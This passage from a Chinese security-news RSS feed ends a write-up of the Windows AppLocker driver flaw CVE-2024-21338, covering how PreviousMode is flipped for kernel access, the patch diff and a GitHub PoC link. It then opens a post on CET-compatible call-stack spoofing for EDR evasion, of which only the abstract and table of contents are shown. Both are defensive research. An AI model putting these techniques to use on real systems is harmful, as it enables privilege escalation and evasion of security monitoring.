leaf="">函数，其功能几乎完美适合我们的需求。查看&#34;</span><strong><span leaf="">ExpProfileDelete</span></strong><span leaf="">&#34;函数的反汇编：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012938" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.27476635514018694" data-w="1070" src="https://wechat2rss.xlab.app/img-proxy/?k=4bd6cba2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShFnOriafslaZszy2YG6ujy1ibkHoTUbJxUPyyZ0UBKmeBNeWta4erwocBHoTibXtcf7DxDhdO54gic9E9hNYbVm3rroNnoIL8hyVo%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">&#34;ExpProfileDelete&#34; 函数的反汇编</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们可以看到该函数接收一个参数，该参数将传递给&#34;</span><strong><span leaf="">ObfDereferenceObject</span></strong><span leaf="">&#34;函数，后者随后导致作为&#34;</span><strong><span leaf="">ExpProfileDelete</span></strong><span leaf="">&#34;函数参数传递的地址递减，使&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;地址数据从 </span><strong><span leaf="">1</span></strong><span leaf="">变为 </span><strong><span leaf="">0</span></strong><span leaf="">，导致&#34;</span><strong><span leaf="">NtWriteVirtualMemory</span></strong><span leaf="">&#34;和&#34;</span><strong><span leaf="">NtReadVirtualMemory</span></strong><span leaf="">&#34;系统调用将其调用解释为来自内核模式。允许恶意用户控制使用此漏洞利用的系统的内核空间内存。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">补丁</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Microsoft 安全响应中心（MSRC）</span></strong><span leaf="">在 </span><strong><span leaf="">2 月</span></strong><span leaf="">制作的补丁在&#34;</span><strong><span leaf="">AipSmartHashImageFile</span></strong><span leaf="">&#34;调用之前添加了&#34;</span><strong><span leaf="">ExGetPreviousMode</span></strong><span leaf="">&#34;检查，这防止了用户模式发起的调用触发上述回调函数。下图显示了较新版本 Windows 上相同控制代码的反汇编。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012939" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.32407407407407407" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c25bfc48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShiaBstgapzgIebXIAaxKl6PcrtPOeiajqa6n8VicUjWY6lJ3DYN9icFCqYL13CjF7Pp9WQrIdFeNynUr0CS0mKXj41iclfibkzNtLFk%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">较新版本 Windows 上相同控制代码的反汇编</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><sub><span leaf="">图片来源：<a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/" target="_blank">https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/</a></span></sub></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过使用 BinDiff 工具（显示两个二进制文件之间的差异），我们还可以看到补丁中应用的更改，即仅添加了&#34;</span><strong><span leaf="">ExGetPreviousMode</span></strong><span leaf="">&#34;检查。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012940" data-s="300,640" data-type="webp" type="block" style="height: auto !important;" data-ratio="0.6064814814814815" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8fa69b1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaslWH2L8BHhVb0AajxvSxGBwLTUKub3a2pTUeIs5eiceWoNQX53sXULT2gic18EPFSy86BrKN0fN5Nia5co6xD9RrwpJU1yB4MZo%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">补丁中应用的更改，即仅添加了 &#34;ExGetPreviousMode&#34; 检查</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><sub><span leaf="">图片来源：<a href="https://nero22k.github.io/posts/windows-applocker-driver-elevation-of-privilege-cve-2024-21338/" target="_blank">https://nero22k.github.io/posts/windows-applocker-driver-elevation-of-privilege-cve-2024-21338/</a><a class="wx_topic_link" topic-id="mroeiucv-7xfcvs" style="color: #576B95 !important;" data-topic="1" data-recommend=""></a>#patch-diffing</span></sub></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">概念验证</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于所示的所有概念，制作了一个概念验证（PoC）来展示此漏洞的严重性。下方是显示 PoC 执行调用栈的图像，遵循上文所示的相同原则。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012942" data-ratio="0.31666666666666665" data-s="300,640" data-type="other" data-w="1080" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=25cf46d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSjYS58sLUYlKyR6NERdoPBTicNOdWJib0KdmORyRuFZdA7ws8J6sibNBXb52nsBP4IOibtlUDWz5SMbVet4tlFTReCLC0ymvRMP8nw%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">显示 PoC 执行调用栈的图像</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PoC 的链接可在 GitHub 上获取：<a href="https://github.com/hakaioffsec/CVE-2024-21338。" target="_blank">https://github.com/hakaioffsec/CVE-2024-21338。</a></span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">总而言之，CVE-2024-21338 漏洞在 Windows 系统中构成了重大的权限提升威胁，值得注意的是，Lazarus 组织利用它绕过了 EDR 和杀毒软件等传统安全措施。此漏洞展示了一种超越已经令人担忧的 BYOVD 方法的高级技术，通过操纵内核中的&#34;</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">&#34;字段来实现未授权访问，同时配合广泛的令牌模拟技术，分别实现从管理员到内核的执行。</span><strong><span leaf="">Microsoft</span></strong><span leaf="">的响应——在其 2 月更新中纳入了关键补丁——突显了网络安全专业人员与威胁行为者之间持续的</span><em><span leaf="">猫鼠游戏</span></em><span leaf="">。CVE-2024-21338 的研究帮助我们进一步理解此类特定漏洞如何在野外发生。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">参考文献</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf=""><a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/" target="_blank">https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf=""><a href="https://nero22k.github.io/posts/windows-applocker-driver-elevation-of-privilege-cve-2024-21338/" target="_blank">https://nero22k.github.io/posts/windows-applocker-driver-elevation-of-privilege-cve-2024-21338/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf=""><a href="https://research.nccgroup.com/2020/05/25/cve-2018-8611-exploiting-windows-ktm-part-5-5-vulnerability-detection-and-a-better-read-write-primitive/" target="_blank">https://research.nccgroup.com/2020/05/25/cve-2018-8611-exploiting-windows-ktm-part-5-5-vulnerability-detection-and-a-better-read-write-primitive/</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf=""><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338" target="_blank">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338</a></span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf=""><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule" target="_blank">https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule</a></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb89dc01&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496595%26idx%3D1%26sn%3D5486333bbc98122e4adf9d48abd7ef2a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Jul 2026 13:50:00 +0800</pubDate>
    </item>
    <item>
      <title>通过线程池 Enum 回调跳板实现 CET 兼容的调用栈伪造</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496573&amp;idx=1&amp;sn=dbc94cf921e979ff2b0137a739ffe181</link>
      <description>本文介绍一种结合线程池执行、Enum 回调跳板和间接系统调用的调用栈伪造技术，通过 RDSSPQ/INCSSPQ 影子栈对账和 jmp 上下文切换实现 Intel CET 硬件兼容，在 syscall 执行时产生完全由已签名模块支撑的合法调用栈。</description>
      <content:encoded><![CDATA[<p><span>Tiziano Marra</span> <span>2026-07-16 10:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ac79194b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShZ5VMc6ZkGsXXgpAz4uGh1xHDhtpXtl0MS7EU1oBKgCAH7TPSYAvwUKVCR5TAuT6ppOc0Um5viboibKsFTGD1cCottALL3iaDaTI%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文介绍一种结合线程池执行、Enum 回调跳板和间接系统调用的调用栈伪造技术，通过 RDSSPQ/INCSSPQ 影子栈对账和 jmp 上下文切换实现 Intel CET 硬件兼容，在 syscall 执行时产生完全由已签名模块支撑的合法调用栈。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://mrtiz.github.io/cet-callstack-spoofing-thread-pool-trampoline" target="_blank">https://mrtiz.github.io/cet-callstack-spoofing-thread-pool-trampoline</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Tiziano Marra</span></p></td></tr></tbody></table><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">免责声明。</span></strong><span leaf="">本研究仅出于</span><strong><span leaf="">教育和防御目的</span></strong><span leaf="">发布。我不认可将此技术用于未经授权访问任何计算机系统。在测试前，务必获得明确的书面授权。如果你在自己不拥有的系统上使用此技术，后果自负，且属于违法行为。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">GitHub 仓库：</span></strong><span leaf="">MrTiz/CET-Enum-CallStack-Spoofer</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">目录</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">目录</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">1. 摘要</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2. 系统调用规避简史</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">2.1 API 钩子与直接系统调用时代（约 2019-2020）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2.2 EDR 的反击：内核遥测（约 2021）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2.3 间接系统调用（约 2021-2022）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2.4 调用栈伪造（约 2022-2023）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">2.5 CET 登场（约 2023-2025）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">2.6 我的技术定位</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">3. 背景概念</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">3.1 Windows x64 调用约定</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3.2 EDR 如何检查调用栈</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3.3 什么是间接系统调用？</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3.4 Windows 线程池</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3.5 Enum 回调函数</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3.6 使用 RtlVirtualUnwind 进行手动栈展开</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">3.7 Intel CET 与影子栈</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">3.8 TEB ArbitraryUserPointer</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">4. 技术设计</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">4.1 高层概述</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">4.2 三个阶段</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">4.3 最终调用栈</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">5. 实现深入解析</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">5.1 EmbeddedContext 结构</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">5.2 线程池调度器</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">5.3 阶段 1：线程池工作线程</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">5.4 阶段 2：Enum 回调（系统调用执行）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">5.5 阶段 3：清理</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">5.6 user_mode_continue：CET 兼容的上下文切换</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">5.7 关于 RAX 的说明：你无法取回它</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">6. CET 兼容性：核心贡献</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">6.1 传统伪造在 CET 下为何失效</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">6.2 用 JMP 代替 RET</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">6.3 影子栈指针对账</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">6.4 CET 构建配置</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">7. 39 个 Enum 函数</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">7.1 完整列表</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7.2 这些函数为何有效</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7.3 并非所有函数都支持所有系统调用参数数量</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7.4 关于 InitOnceExecuteOnce 的说明</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">7.5 为什么不用 user32.dll？</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">8. 调试噩梦</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">8.1 Enum 函数崩溃</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">8.2 线程池崩溃</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">8.3 毁掉我一周的 8 字节偏移</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">8.4 INCSSPD vs INCSSPQ：4 字节错位</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">9. 关于此 PoC</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">9.1 有意简化的部分</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">9.2 这不是武器</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">10. 未来工作</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">11. 检测与对策</span></p></li><ul style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">11.1 TEB ArbitraryUserPointer 监控</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">11.2 影子栈与正常栈的分歧</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">11.3 启发式调用栈分析</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">11.4 Enum 回调行为分析</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">11.5 线程池工作项画像</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">11.6 INCSSPQ 指令监控</span></p></li></ul><li style="margin: 15px 0px;"><p><span leaf="">12. 结论</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">13. 先前工作与致谢</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">14. 参考文献</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: 